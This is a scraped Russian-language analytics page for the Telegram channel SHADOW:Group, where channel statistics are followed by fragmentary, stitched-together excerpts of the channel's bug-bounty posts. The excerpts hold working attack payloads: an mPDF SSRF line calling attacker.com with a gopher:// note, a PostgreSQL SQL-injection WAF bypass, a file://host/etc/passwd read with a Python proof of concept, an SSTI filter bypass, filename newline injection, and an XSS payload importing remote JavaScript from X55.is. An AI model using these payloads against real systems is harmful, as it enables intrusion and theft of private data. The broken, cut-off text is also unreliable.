SHADOW:Group
Чат: @shadow_chat_tg Рекламу не размещаю. Админ - @shdwpwn
Больше📈 Аналитический обзор Telegram-канала SHADOW:Group
Канал SHADOW:Group (@shadow_group_tg) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 11 458 подписчиков, занимая 10 892 место в категории Технологии и приложения и 57 454 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 11 458 подписчиков.
Согласно последним данным от 10 июня, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило -10, а за последние 24 часа — -2, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 20.28%. В первые 24 часа после публикации контент обычно набирает N/A% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 2 324 просмотров. В течение первых суток публикация набирает 0 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 14.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как middleware, http/1.1, bounty, api, host.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“Чат: @shadow_chat_tg
Рекламу не размещаю.
Админ - @shdwpwn”
Благодаря высокой частоте обновлений (последние данные получены 11 июня, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
id получаем ошибку, однако, если запустить intruder и подождать несколько тысяч запросов, сервер внезапно начинает отдавать нам чужие ПД.
#web #race #idor@import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.
Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
@import url(https://attacker.com/test?.css)
и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.
Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.
#web #ssrf #pdf$$0$$OR-0-$$0$$NOTNULLКак PostgreSQL это парсит: 1. $$0$$ - dollar-quoted строка, автоматически каститься в integer 2. OR - логический оператор 3. -0-$$0$$ - арифметическое выражение 4. NOTNULL - проверка на null (вернет true) Для этого payload нужны всего два не alphanumeric символа: $ и - (минус можно заменить на +). Может быть полезно для обхода WAF (например, Cloudflare это не блокирует) или при похожих ограничениях на символы.
file://localhost/etc/passwd
что вернёт?
Да, вернётся /etc/passwd.
В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>
Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.
питон пок
from urllib.request import urlopen
content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')
print(content)
Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.
В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.
Представим, ты нашёл SSTI, но WAF блокирует символ $
Что делать?
Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}.
Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49
Уже на стену лезешь? Погоди, я с тобой ещё не закончил.
Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename?
В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱
# RFC 6266
filename="image.png"
# RFC 8187
filename*=UTF8''image%0a.png
RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через %
То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется.
. . .
FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^] ⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^] ⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]
2. иной подход к протоколу file:// [^]
3. пролом parse_url в PHP [^]
#web #waf_bypassalert, document.cookie и других.
В таких случаях часто на помощь приходит функция import(), которая позволяет подгружать JS-скрипты из внешнего модуля. Более подробно c этой функцией можете ознакомиться в документации.
Для эксплуатации я использовал пэйлоад Javascript:import('//X55.is')// который через import() выполняет загрузку вредоносного JS-модуля, размещенного на сайте X55.is. Данный модуль выполняет обычный alert.
Кроме того, с его помощью можно удобно выполнить любой код, указав его через символ #. Все, что будет после #, не будет видно на сервере, что поможет обойти WAF, а модуль в import считает содержимое из document.location.hash и выполнит код.
javascript:import('//X55.is')//#alert('shdw')
#web #waf #xss
Уже доступно! Исследование Telegram 2025 — ключевые инсайты года 
